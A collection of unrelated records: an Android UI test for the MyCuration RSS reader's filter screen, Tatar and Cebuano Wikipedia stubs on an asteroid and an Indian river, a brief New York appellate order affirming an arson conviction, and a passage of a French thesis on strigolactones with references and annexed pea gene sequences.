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https://github.com/CodingSpiderFox/MyCuration/blob/master/mycuration/src/androidTest/java/com/phicdy/mycuration/uitest/FilterListTest.java | Github Open Source | Open Source | MIT | 2,018 | MyCuration | CodingSpiderFox | Java | Code | 956 | 3,812 | package com.phicdy.mycuration.uitest;
import android.graphics.Rect;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SdkSuppress;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.widget.LinearLayout;
import android.widget.ListView;
import com.phicdy.mycuration.BuildConfig;
import com.phicdy.mycuration.presentation.view.activity.TopActivity;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.List;
import static junit.framework.Assert.assertNotNull;
import static junit.framework.Assert.fail;
import static org.hamcrest.CoreMatchers.is;
import static org.junit.Assert.assertThat;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = 18)
public class FilterListTest extends UiTest {
@Rule
public ActivityTestRule<TopActivity> activityTestRule = new ActivityTestRule<>(TopActivity.class);
@Before
public void setup() {
super.setup(activityTestRule.getActivity());
}
@After
public void tearDown() {
super.tearDown();
}
@Test
public void addFilterForYahooNews() {
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
String testTitle = "Test";
String testKeyword = "TestKeyword";
String testUrl = "http://www.google.com";
addTestFeedsAndFilter(testTitle, testKeyword, testUrl);
// Assert first item
UiObject2 filterList = device.wait(Until.findObject(
By.clazz(ListView.class)), 5000);
if (filterList == null) fail("Filter list was not found");
List<UiObject2> filters = filterList.findObjects(
By.clazz(LinearLayout.class).depth(2));
if (filters == null) fail("Filter item was not found");
assertThat(filters.size(), is(1));
UiObject2 title = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTitle"));
assertNotNull(title);
assertThat(title.getText(), is(testTitle));
UiObject2 target = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTargetFeed"));
assertNotNull(target);
assertThat(target.getText(), is("Yahoo!ニュース・トピックス - 主要 "));
UiObject2 keyword = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterKeyword"));
assertNotNull(keyword);
assertThat(keyword.getText(), is("キーワード: " + testKeyword));
UiObject2 url = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterUrl"));
assertNotNull(url);
assertThat(url.getText(), is("URL: " + testUrl));
}
@Test
public void deleteFilter() {
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
String testTitle = "Test";
String testKeyword = "TestKeyword";
String testUrl = "http://www.google.com";
addTestFeedsAndFilter(testTitle, testKeyword, testUrl);
longClickFirstFilter();
// Click delete menu
UiObject2 edit = device.wait(Until.findObject(By.text("フィルター削除")), 5000);
if (edit == null) fail("Edit filter menu was not found");
edit.click();
// Assert filter was deleted
UiObject2 emptyView = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filter_emptyView")), 5000);
assertNotNull(emptyView);
}
@Test
public void editFilter() {
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
String testTitle = "Test";
String testKeyword = "TestKeyword";
String testUrl = "http://www.google.com";
addTestFeedsAndFilter(testTitle, testKeyword, testUrl);
longClickFirstFilter();
// Click edit menu
UiObject2 edit = device.wait(Until.findObject(By.text("フィルターの編集")), 5000);
if (edit == null) fail("Edit filter menu was not found");
edit.click();
// Assert filter title
UiObject2 filterTitleEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTitle")), 5000);
if (filterTitleEditText == null) fail("Filter title edit text was not found");
assertThat(filterTitleEditText.getText(), is(testTitle));
// Assert target RSS
UiObject2 targetRss = device.findObject(
By.res(BuildConfig.APPLICATION_ID, "tv_target_rss"));
if (targetRss == null) fail("Target RSS was not found");
assertThat(targetRss.getText(), is("Yahoo!ニュース・トピックス - 主要"));
// Assert filter keyword
UiObject2 filterKeywordEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterKeyword")), 5000);
if (filterKeywordEditText == null) fail("Filter keyword edit text was not found");
assertThat(filterKeywordEditText.getText(), is(testKeyword));
// Assert filter URL
UiObject2 filterUrlEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterUrl")), 5000);
if (filterUrlEditText == null) fail("Filter URL edit text was not found");
assertThat(filterUrlEditText.getText(), is(testUrl));
// Edit filter info
String editTitle = "EditTitle";
String editKeyword = "EditKeyword";
String editUrl = "http://yahoo.co.jp";
filterTitleEditText.clear();
filterTitleEditText.setText(editTitle);
filterKeywordEditText.clear();
filterKeywordEditText.setText(editKeyword);
filterUrlEditText.clear();
filterUrlEditText.setText(editUrl);
// Delete first RSS and add second RSS
targetRss.click();
UiObject2 targetList = device.wait(Until.findObject(
By.clazz(ListView.class)), 5000);
if (targetList == null) fail("Target list was not found");
List<UiObject2> listItems = targetList.findObjects(
By.clazz(LinearLayout.class));
if (listItems == null) fail("Target RSS item was not found");
listItems.get(0).click();
listItems.get(1).click();
UiObject2 doneButton = device.findObject(
By.res(BuildConfig.APPLICATION_ID, "done_select_target_rss"));
if (doneButton == null) fail("Done button was not found");
doneButton.click();
// Click add button
UiObject2 addButton = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "add_filter")), 5000);
if (addButton == null) fail("Filter add button was not found");
addButton.click();
// Assert first item
UiObject2 filterList = device.wait(Until.findObject(
By.clazz(ListView.class)), 5000);
if (filterList == null) fail("Filter list was not found");
List<UiObject2> filters = filterList.findObjects(
By.clazz(LinearLayout.class).depth(2));
if (filters == null) fail("Filter item was not found");
assertThat(filters.size(), is(1));
UiObject2 title = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTitle"));
assertNotNull(title);
assertThat(title.getText(), is(editTitle));
UiObject2 target = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTargetFeed"));
assertNotNull(target);
assertThat(target.getText(), is("Yahoo!ニュース・トピックス - 国際 "));
UiObject2 keyword = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterKeyword"));
assertNotNull(keyword);
assertThat(keyword.getText(), is("キーワード: " + editKeyword));
UiObject2 url = filters.get(0).findObject(
By.res(BuildConfig.APPLICATION_ID, "filterUrl"));
assertNotNull(url);
assertThat(url.getText(), is("URL: " + editUrl));
}
@SuppressWarnings("deprecation")
private void addTestFeedsAndFilter(String testTitle, String testKeyword, String testUrl) {
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
// Go to feed tab
List<UiObject2> tabs = device.findObjects(
By.clazz(android.support.v7.app.ActionBar.Tab.class));
if (tabs == null) fail("Tab was not found");
if (tabs.size() != 3) fail("Tab size was invalid, size: " + tabs.size());
takeScreenshot(device, "before_click_RSS_tab" + System.currentTimeMillis());
tabs.get(1).click();
TopActivityControl.clickAddRssButton();
// Show edit text for URL if needed
UiObject2 searchButton = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "search_button")), 5000);
if (searchButton != null) searchButton.click();
// Open yahoo RSS URL
UiObject2 urlEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "search_src_text")), 5000);
if (urlEditText == null) fail("URL edit text was not found");
urlEditText.setText("http://news.yahoo.co.jp/pickup/rss.xml");
device.pressEnter();
TopActivityControl.clickAddRssButton();
// Show edit text for URL if needed
searchButton = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "search_button")), 5000);
if (searchButton != null) searchButton.click();
// Open second yahoo RSS URL
urlEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "search_src_text")), 5000);
if (urlEditText == null) fail("URL edit text was not found");
urlEditText.setText("http://news.yahoo.co.jp/pickup/world/rss.xml");
device.pressEnter();
// Go to filter tab
tabs = device.wait(Until.findObjects(
By.clazz(android.support.v7.app.ActionBar.Tab.class)), 5000);
if (tabs == null) fail("Tab was not found");
if (tabs.size() != 3) fail("Tab size was invalid, size: " + tabs.size());
tabs.get(2).click();
TopActivityControl.clickAddFilterButton();
// Input filter title
UiObject2 filterTitleEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterTitle")), 5000);
if (filterTitleEditText == null) fail("Filter title edit text was not found");
filterTitleEditText.setText(testTitle);
// Click target RSS
UiObject2 targetRss = device.findObject(By.res(BuildConfig.APPLICATION_ID, "tv_target_rss"));
if (targetRss == null) fail("Target RSS was not found");
targetRss.click();
// Select first item
UiObject2 targetList = device.wait(Until.findObject(
By.clazz(ListView.class)), 5000);
if (targetList == null) fail("Target list was not found");
List<UiObject2> listItems = targetList.findObjects(
By.clazz(LinearLayout.class));
if (listItems == null) fail("Target RSS item was not found");
listItems.get(0).click();
UiObject2 doneButton = device.findObject(
By.res(BuildConfig.APPLICATION_ID, "done_select_target_rss"));
if (doneButton == null) fail("Done button was not found");
doneButton.click();
// Input filter keyword
UiObject2 filterKeywordEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterKeyword")), 5000);
if (filterKeywordEditText == null) fail("Filter keyword edit text was not found");
filterKeywordEditText.setText(testKeyword);
// Input filter URL
UiObject2 filterUrlEditText = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "filterUrl")), 5000);
if (filterUrlEditText == null) fail("Filter URL edit text was not found");
filterUrlEditText.setText(testUrl);
// Click add button
UiObject2 addButton = device.wait(Until.findObject(
By.res(BuildConfig.APPLICATION_ID, "add_filter")), 5000);
if (addButton == null) fail("Filter add button was not found");
addButton.click();
}
private void longClickFirstFilter() {
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
// Long click first filter
UiObject2 filterList = device.wait(Until.findObject(
By.clazz(ListView.class)), 5000);
if (filterList == null) fail("Filter list was not found");
List<UiObject2> filters = filterList.findObjects(
By.clazz(LinearLayout.class).depth(2));
if (filters == null) fail("Filter item was not found");
assertThat(filters.size(), is(1));
Rect filterRect = filters.get(0).getVisibleBounds();
device.swipe(filterRect.centerX(), filterRect.centerY(),
filterRect.centerX(), filterRect.centerY(), 100);
}
}
| 8,222 |
https://tt.wikipedia.org/wiki/%285681%29%20%D0%91%D0%B0%D0%BA%D1%83%D0%BB%D0%B5%D0%B2 | Wikipedia | Open Web | CC-By-SA | 2,023 | (5681) Бакулев | https://tt.wikipedia.org/w/index.php?title=(5681) Бакулев&action=history | Tatar | Spoken | 144 | 401 | (5681) Бакулев () — Кояш системасының Марс һәм Юпитер орбиталары арасындагы өлкәсендә урнашкан астероид.
Тарихы
1990 елның 15 сентябрендә Журавлёва Л. В. тарафыннан Кырым обсерваториясендә ачыла. Астероидның вакытлыча атамасы булып баштан «1990 RS17» саналган.
Чыганаклар
Lutz D. Schmadel. Dictionary of Minor Planet Names. — Fifth Revised and Enlarged Edition. — B., Heidelberg, N. Y.: Springer, 2003. — 992 p. — ISBN 3-540-00238-3.
Lutz D. Schmadel. Dictionary of Minor Planet Names. — Springer Science & Business Media, 2012-06-10. — 1458 с. — ISBN 9783642297182
Chapman, C. R., Morrison, D., & Zellner, B. Surface properties of asteroids: A synthesis of polarimetry, radiometry, and spectrophotometry// Icarus : journal. — Elsevier, 1975. — Vol. 25. — P. 104—130.
Kerrod, Robin. Asteroids, Comets, and Meteors (неопр.). — Lerner Publications Co., 2000. — ISBN 0585317631.
Искәрмәләр
Тышкы сылтамалар
Шулай ук карагыз
(5682) Бересфорд астероиды
Баш билбау астероидлары
Әлифба буенча астероидлар | 15,963 |
5958248_1 | Court Listener | Open Government | Public Domain | 2,022 | None | None | English | Spoken | 170 | 244 | — Appeal by the defendant from a judgment of the Supreme Court, Queens County (Cooperman, J.), rendered December 19, 1989, convicting him of arson in the first degree, reckless endangerment in the first degree, and criminal possession of a weapon in the third degree, upon a jury verdict, and imposing sentence.
Ordered that the judgment is affirmed.
Viewing the evidence in the light most favorable to the People (see, People v Contes, 60 NY2d 620), we find that it was legally sufficient to establish the defendant’s guilt beyond a reasonable doubt. Moreover, upon the exercise of our factual review power, we are satisfied that the verdict was not against the weight of the evidence (see, CPL 470.15 [5]).
We find that there was no violation of the defendant’s statutory or due process rights (see, People v Mitchell, 80 NY2d 519; cf., People v Sloan, 79 NY2d 386).
We have examined the defendant’s remaining contention and find that it is without merit. Mangano, P. J., Sullivan, Balletta and O’Brien, JJ., concur.
| 42,199 |
https://ceb.wikipedia.org/wiki/Chitepad%20Nadi | Wikipedia | Open Web | CC-By-SA | 2,023 | Chitepad Nadi | https://ceb.wikipedia.org/w/index.php?title=Chitepad Nadi&action=history | Cebuano | Spoken | 53 | 92 | Suba ang Chitepad Nadi sa Indiya. Nahimutang ni sa estado sa State of Karnātaka, sa habagatan-kasadpang bahin sa nasod, km sa habagatan sa New Delhi ang ulohan sa nasod. Ang Chitepad Nadi mao ang bahin sa tubig-saluran sa Krishna.
Ang mga gi basihan niini
Krishna (suba) tubig-saluran
Mga suba sa State of Karnātaka | 8,329 |
23/tel.archives-ouvertes.fr-tel-01089021-document.txt_12 | French-Science-Pile | Open Science | Various open science | null | None | None | Unknown | Spoken | 2,044 | 15,180 | Plant Signal Behav 7 Waters MT, Smith SM, Nelson DC (2011) Smoke signals and seed dormancy: where next for MAX2? Plant Signal Behav 6: 1418‐1422 Weston DE, Elliott RC, Lester DR, Rameau C, Reid JB, Murfet IC, Ross JJ (2008) The Pea DELLA proteins LA and CRY are important regulators of gibberellin synthesis and root growth. Plant Physiol 147: 199‐205 Westwood JH, Yoder JI, Timko MP, dePamphilis CW (2010) The evolution of parasitism in plants. Trends Plant Sci 15: 227‐235 Wilkinson S, Kudoyarova GR, Veselov DS, Arkhipova TN, Davies WJ (2012) Plant hormone interactions: innovative targets for crop breeding and management. J Exp Bot 63: 3499‐3509 Woo HR, Chung KM, Park JH, Oh SA, Ahn T, Hong SH, Jang SK, Nam HG (2001) ORE9, an F‐box protein that regulates leaf senescence in Arabidopsis. Plant Cell 13: 1779‐1790 Xie X, Yoneyama K (2010) The strigolactone story. Annu Rev Phytopathol 48: 93‐117 Xie X, Yoneyama K, Harada Y, Fusegi N, Yamada Y, Ito S, Yokota T, Takeuchi Y, Yoneyama K (2009) Fabacyl acetate, a germination stimulant for root parasitic plants from Pisum sativum. Phytochemistry 70: 211‐215 Xu G, Ma H, Nei M, Kong H (2009) Evolution of F‐box genes in plants: different modes of sequence divergence and their relationships with functional diversification. Proc Natl Acad Sci U S A 106: 835‐840 Yang XC, Hwa CM (2008) Genetic modification of plant architecture and variety improvement in rice. Heredity 101: 396‐404 348 ‐ Références‐ Yoneyama K, Xie X, Kim HI, Kisugi T, Nomura T, Sekimoto H, Yokota T (2012) How do nitrogen and phosphorus deficiencies affect strigolactone production and exudation? Planta 235: 1197‐ 1207 Yoneyama K, Xie X, Kusumoto , Sekimoto H, Sugimoto Y, Takeuchi Y, Yoneyama K (2007) Nitrogen deficiency as well as phosphorus deficiency in sorghum promotes the production and exudation of 5‐deoxystrigol, the host recognition signal for arbuscular mycorrhizal fungi and root parasites. Planta 227: 125‐132 Yoneyama K, Xie X, Sekimoto H, Takeuchi Y, Ogasawara S, Akiyama K, Hayashi H (2008) Strigolactones, host recognition signals for root parasitic plants and arbuscular mycorrhizal fungi, from Fabaceae plants. New Phytol 179: 484‐494 Yoneyama K, Xie X, Yoneyama K, Takeuchi Y (2009) Strigolactones: structures and biological activities. Pest Manag Sci 65: 467‐470 Yoneyama K, Yoneyama K, Takeuchi Y, Sekimoto H (2007) Phosphorus deficiency in red clover promotes exudation of orobanchol, the signal for mycorrhizal symbionts and germination stimulant for root parasites. Planta 225: 1031‐1038
Zentella R, Zhang ZL, Park M, Thomas SG
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Endo A
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Nambara E, Kamiya Y, Sun TP (2007) Global analysis of della direct targets in early gibberellin signaling in Arabidopsis. Plant Cell 19: 3037‐3057 Zhu H, Kranz RG (2012) A nitrogen regulated glutamine amidotransferase (GAT1_2.1) represses shoot branching in Arabidopsis. Plant Physiol Zou J, Chen Z, Zhang S, Zhang W, Jiang G, Zhao X, Zhai W, Pan X, Zhu L (2005) Characterizations and fine mapping of a mutant gene for high tillering and dwarf in rice (Oryza sativa L.). Planta 222: 604‐612 Zou J, Zhang S, Zhang W, Li G, Chen Z, Zhai W, Zhao X, Pan X, Xie Q, Zhu L (2006) The rice HIGH‐ TILLERING DWARF1 encoding an ortholog of Arabidopsis MAX3 is required for negative regulation of the outgrowth of axillary buds. Plant J 48: 687‐698 349
‐ Annexes‐
350 ‐ Annexes‐ Annexes Annexe 1. Séquence de PsD27 >PsD27_ADNgenomique_cultivarTérèse aagccaacaaaacaaaacacctaaaacagaatcttaaacatgcgctttgg
g
ca
aagatgcttttcatgtactatttgtcgt
ca
ttaa
gcctctcttatattaatcctctctcccacgtgaaactcaatgacactcacaaATGGATGCAAAAATGATCACACATAAC ATGAGCCTAACACCAACTTTAGCTCATTGGAACCTAAGACATAAACCAAAACAAACTTTTGTCGTTGGAGTTCTTGCACGTCC CACAGAAGAAACATCAAGCAAGACTCATGTATACAAAGATAACTGGTTTGATAAATTAGCCATAAACCATTTATCAAAGAGTG TTCAAGCAGCAACAGGtaataattcatttagagtggagtttgtgttttttcattgttgatgaactgtgataagttttgaatct cgtgcaggAATCAGTAATGATAAGAGTGGTTTTGATAGCCTTGTTGAAGCAGCTACCGTGGCTTCAAAGAAATTTAGTCCTAT TCAACAGCAAGAAGTTGTTTTAGATGCACTTGATAGAGCCTTTCCAAAGCCAATACTTTCG gtgagttcttgtggtttct ctcatttttcatgtgtttttcaagtttcaaactattaatcaattattactcatgaatcactgacaccagatacagcatcgaaa tcctgctaaggtgataaatatttctgtgttggaccggtctatacaaaactttactctgactttaaattcgtgtctagttccac accaatccgacattttcacacgtgattatcggcgttgtgtataaatatatagttatatatattgatattgtttgtggatggta attactatgtttacagATAAGGAGAGTGATGCCACCATCAAAATTAGCAAGGGAATATTTTGCTGTCTTCACCACTTTGTTTT TTGCTTGGTTACTCGGTCCCTCCGAGGTGAxxxxxxGAGAATCAGAAGTCAATGGAAGAAGAGAAAAAAACATTGTCTACATA AAAAAgtgcaggtacctttagctttctttcattaaattttaatcttcattaaaaaattgtccacaatatatatactagtagtt ttcacatgaataaatcttgtcctaaaatttgtttaaacaatacaGTGCAGATTCTTAGAAGAAACAAATTGTGTTGGAATGTG TACTAATCTCTGCAAAATGCCATCTCAAGTGTTCATAAAAGACTCCTTTGGCATGCCAGTCAACATGGTCCCAAgtattgttc ctaaacaaacactccaattagtttttgaaagatacattaaatacacattatcttcgttctgaaattgaagattattttgcagA TTTTGATGATATGAGTTGTGAGATGATATTTGGCCAGGAACCACCATCATCAACTGATGATCCTGCACTCAAGCAACCTTGCT ATAAACTATGtaacaatatatacttattttgagaatatttcatattcatacatttattttgaaaataatgtaactaacataac attttcacatgtaatgcaggCAAGGCAAAGAAAAAGCATGGAACAAATTGTCTCAGCTAAtgtagcagctatggagatgacaa ttacaaaaaagatcaaattctacaataaacactatgagctaaatgaacctgcgctgtttcaccatggacaaattatatctagt tcttctgcaatgaacttcatatgtatttttttaataaagtatcaatttagtccttggacaatgataaattcagactctgtctt ggacaatgatactgcatgttgaagattacataacaaaaagaaatctatattttaggataaaattttcctgctcatttctattc tcattttttcatcatcaacgaccgtttcatttcattccgttataaagtgagttatttgtagaaagcatat ac caatagttggatgaccttcattgcaaagtacattgcaacatgggaagttccttaggatagaaatgaagcatcaaaggtatgga tatgggcgtgcttctgttctttggcggaaatgatacaaattttacaaggcaaaaatgaaccaagacgctaaggaacacatctg ataatgcaggaattgttaaggatgtaaggagatactactccggcctgatttataagcaaaaaagacaagttttacatttatta agaaatatagttaactacatttaagtttcttgatttcatgtgagagagataacataattattagtataccctcaattaaattg tattctactaacaatattaagtaattaatgcagtgatgcttttggaataaaggcattaaatgcatctatatttattgacattt gct Légende : ATG : Codon START TAA : Codon STOP Xxxxx : emplacement de l'intron putatif manquant AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique c nucléotide polymorphe entre Térèse et Torsdag 351 ‐ Annexes‐
Annexe 2. Sé
quence de Ps
LBO1 > PsLBO1_ADNgenomique_cultivarTérèse
cgcccggggaggtaaataaaaagattaaattttgttaagccagtttagacaataactcttgcaataacatgcaatttgcggag cgcgtgttcgaatctacgccgctccacctatttatatttttatgtgtgcctattattatgcacaattgtaattcatagtattg catatgtaacattattcttttgaatattttactctaaacgtcacaagagcctaatattcagttccactataaatacaacctta gttgagagggtgaggatatataacaatcggttcaaaggaaaaccttagttcaaaaccaacctgtttccATGGCTCCTGTACCA ATTTCCACCATCAACGTAGGACACATTGATGATGTACAAGAACTAAGAAGAACAAAACCAAAGACAGTTCCTCAAAGATTTGT AAGAGACATGACAGAAAGACCAACACTTCAAACATCTCTTTCAGCACAAAATAGTGACATGCCTGTCATTGATTTCTCTAAGC TTAGTAAAGGGAGCAAAGAGGATTTGCTCAATGAACTTTGCAAGCTTTCGGTCGCTTGTCAAGAGTGGGGATTTTTTCAGGTa aataagtgcttattatgtataagttatttgaggacatacttgtt gaaactaataatgttgagtgttgtgattaggtGAT TAATCATGAGGTTGACATCAATCTAATGGAGAACATAGAGGATATGAGTAAGGAGTTTTTCATGCTACCTTTGGAAGAGAAAC AGAAGTACCCTATGGCACCAGGAACAGTCCAAGGATATGGGCAAGCTTTTGTTTTCTCAGAGGACCAGAAACTTGATTGGTGC AACATGTTTGCTTTAGGAATTGCACCTCTCTATGTTAGGGACCCAAATCTTTGGCCAAAGAAACCAGCAAAACTCAGgtaata tatattttatacatagtcgtcttaaatttttgaagatcctcggcaaattagccacgattcaaccatgacaaaagatacaaaaa tcttatttaactattttttaacaatgacaaagattttataagatcctatttaagtacagtttaactgtgacaaattttagacc ctttacagtaaaatatatatattttttatttagtaaaatgattttttttctcttcatattcatgcagTGAAACAATAGAATTG TACTCAAGAAAAATCAAGAAACTTTGTCAAAATTTGCTGAGATACATAGCATTAGGCCTGAGTTTGGAAGAAGATGTTTTTGA GGAGATGTTTGGTGAAGCAGTACAAGCTATAAGGATGAATTACTATCCAACATGTTCAAGGCCTGACCTTGTTTTGGGCCTGA GTCCTCATTCAGATGGAAGTGCTCTTACTGTGCTGCAGCAAGCAAAGGGAAGCCCGGTGGGCCTTCAAATACTTAAAGACAGC AGATGGGTCCCTGTTCAACCAATTCCAAATGCTCTTGTCATCAACATTGGTGACACAATAGAAgtaagactatttcacttttc aaagttcactgtttacacgaataacataccgtgttaagtttttggaggttcacgttttcttttgtttaactgtgacaaatata ttttgagaatatatttagttccggtttaatcgtgatacattttaagtcatgtacggtagcctatctttcatgttttttctcaa agacgggcagagtaaatagttattatattgttcattttgttatggacttggattttaatttgcattttgcagGTTCTTACAAA TGGAAAATACAAGAGTGTGGAGCATAGGGCTGTGGCTAATGAGGAAAAAGATAGGCTTTCAATTGTGACATTTTATGCTCCTA GTTATGAAGTAGAGCTTGGACCAATGCAAGAATTTGTGGATGAAAATCACCCATGCAAGTATAGGAGATACAATCATGGAGAG TATAGTAAACATTATGTGACAAATAACTTACAAGGAAAGAGGACTTTGGACTTTGCAAAAGTGGAAAAAAGTGAATAAtacta caaactaggaagtcctggccagttctccaactagcctggatcacttattgaaaatatataaaatc gaaagtatga aggaattcaagcatcttaatttttattttattggtaaataggtagaagaattagtttggcaattagaagagtgattgattgtt gattcataaaaaaagaagtgtgattgtggccacatacaaaagacaagagtcactattcttatatcaaatatgtattatgtata tgctagctttcaatggaaactaatgacatctaatatgtgattgttgtcaaa ATG : Codon START TAA : Codon STOP AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique catattcatgcagTGAAACAATAGAATTG : zone 1er TILLING (italique) atgcattttgcagGTTCTTACAAATGGA: zone 2nd TILLING (souligné) 352 ‐
Annexes‐ Annexe 3. Séquence de PsMAX1‐A10 > PsMAX1‐A10_ADNgenomique_cultivarTérèse
CATATGAGGTAATAGGTCATGTATGAGGTTTAAACTTTAAATATATTAATCTAAAATGATTAAGAAAAACCAAATGCATTACTTCATGCTAGGG AACCAATAATTCATCTATATCATCATTCATGCATAGAAAAAAAACACCATCTCAACTCCACTCCTAATTTAGCGATGTTATAATTAACATGGTC CCTCAAATCCATACCTTATATAAACACCACTCGTCATTCTTCTATTTCAAACCAAAAAACTTGCTCATAACATATCAATGATGTTTAGTACTAT AATTTCAATTGTGTCTTTGGTTCTAGCTTTAATTGGAGGATACCTTTATGGGCCATTTTGGAGGTTAAGGAAAGTTCCAGGCCCACCATCTCTT CCACTTGTAGGACACCTTCCATTGTTAGCAAAGTATGGCCCTGATGTCTTCTCAATCCTTGCCAAGCAATATGGTCCAATTTACAGgtttctat attctacttgcataaacataaaccttaaagacataaacataattttcatgttgatgatattgtttttatgtttgttaaatggtgatgaagATTT CATATGGGAAGACAACCTCTTATAATCATAGCAGATCCAGAGCTTTGTAAAGAAGTTGGAATAAAAAAATTCAAAAACCTTTCAAATAGAAGCA TTCCCTCTCCTATCTCTGCTTCTCCTCTTCACCAAAAAGGTTTATTCTTCACAAGgtatgtatattcaaatttatgacttaaaaggtttaaata acaataatattcttgttggagcatcatgatttatatgatctggtcgacctcaagtccgcatcactgctgttatgagatattgttcatttgagtg tgagaatcct taactatttcctttagaaaaaacatcttgttgcgttcatatatatgagtatggtatatacactactcttgatatgtgactat tttgatgaactcctgaaaaatttggattatatgaatcatgatagagcaatgatgggttgttttattcatatcatgcatacaatgacaaaatgat gttatagatgtttatctgaataattttttcaataccatgtaaaatatattgctagataaggtataaataaatgtactttttttgtacaactttt ttacttcaaaagtcaacattgcatttttcatgtggatttctaggtggggtagcctaaccactaagttcaatgctatcaacttttttagatcaca acattattaaattaagatcctcaaaatcactcaaatccaagggtttaccaaaacttttgtcctttttctaacatcactatgcttgatgtgcaaa atttcaactcacaaatatttatcctccaaatttgaaataagaattgatttttgaggtcgctttcatttaagtagatgtttggtaccacaataaa tttatcagaattattgtgagttagaagtagatttacaaataatttctttaaaagtagaaagattcatgtgattttaactatatcgtgatatcaa ataaatattgaatttttatatatgtttttaaaatgtacgtaaaattactgtgtatatttttttgtattTACTCGCAGTGGACTTCGATGAGAAA TACTATATTATCTGTATACCAACCATCACACTTAGCCAACTTAGTGCCAAAAATGCAATCAGTTATAGAATCTGCCACACAAAATCTTGACACA CAAAAAGAAGACATAATCTTTTCAAATCTTTCCCTAAGACTAGCAACTGATATCATTGGAGATGCGGCATTCGGAGTCAACTTTGGTCTCTCTA AGCCTCAATCAATTTGTGAATCAATGAACAATCTTAACAATGTAAAACATTCAAGTGCTAGTAATGATGAAGTATCAAATTTCATCAATCAACA TATTTACTCCACAACACAACTCAAGATGGATTTATCCGGTTCATTTTCGATTATAATTGGCCTAATTGCTCCTATTCTTCAAGAGCCATTTAGG CAGATTCTTAAGAGAATACCGGGCACTATGGATTGGAAAATGGAATGTACTAATAGAAATTTAACCGGTCGTCTTGACGAGATTGTTAAGAAGA GAATGGAAGATAAAAATCGAAGAACTTCGAAGAATTTCTTGTCGCTTATATTGAATGCAAGAGAATCAAAGAGTGTGTCGGAGAATGTGTTTCC GTTCGATTACATAAGCGCGGTCACTTACGAACATTTACTTGCTGGATCAGCCACAACATCTTTTACTTTGTCATCTATTGTTTATTTGGTT GGTCACATAAATGTTGAGAGAAAATTGCTTCAAGAGATTGATGAGTTTGGAACACATGATAGGATACCTAATGCTAAAGACCTTAATGAAAGTT TTCCTTATCTTGATCAGgtaaggtgaaaaatgaagaaatttaagttttgttttgaaatttgttgaggttgcaaggactaattagcaaatatatg tttttattttttttgcttattaatgtaggtGATTAAAGAGGCAATGAGGATTTACACTGTCTCTCCATTGGTTGCAAGAGAAACATCAAATGAA GTAGAGATTGGAGGTTACCTTCTTCCAAAGGtgacatatcttagtccaatgatttttttactagatttggattctctccgtttactaactatgc atacgccaattttaattgtctgatcaagatcaaatagttcatatttcgctagtgtcagtgtcttttgaatcatatttatcaaaattggtgcatg cgccttaatgcgcgataccttgaccataatacacatatgtttttatgaaaatatatgttttggtatatttcttgtagagtttttgtagcaatat tctattactaatttatatatgagtaggGAACATGGGTATGGTTAGCACTTGGAGTTCTAGCAAAAGACTCAAGAAACTTTGCAGAGCCAGAGAA ATTCAAACCAGAGAGGTTTGATCCAAAATGTGAAGAAATGAAAAGAAGGCATCCTTATGCATTCATACCATTTGGAATTGGTCCAAGAGCATGT ATTGGCCAGAAATTTTCATTGCAAGAGATCAAGCTTACTTTGATTCATTTATATAGAAAATATGTATTTCGCCATTCACTTAGCATGGAAAAAC CTATAGAACTTGAATATGGTTTAGTTCTTAATTTCAAGCATGGTGTCAAGCTTAGAGTAATAAAAAGAGCATAATAGTGGTTAAATGTGTAAAC CAATTAGATTGTATTATTAAAGCATTGGAAGAATTGTTATCTTTTCAACATTAAGGTAAAGTATATAATTAAAAGCACATGTAAATTAGTCAAA AAAAAAAAAAAAAAAAA ATG : Codon START TAA : Codon STOP AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique TGTGAAACATCTCGATGACGATA : UTR catattcatgcagTGAAACAATAGAATTG : zone 1er TILLING (italique) g et G mutation identifiée par TILLING 353 ‐
Annexes
‐
Annexe
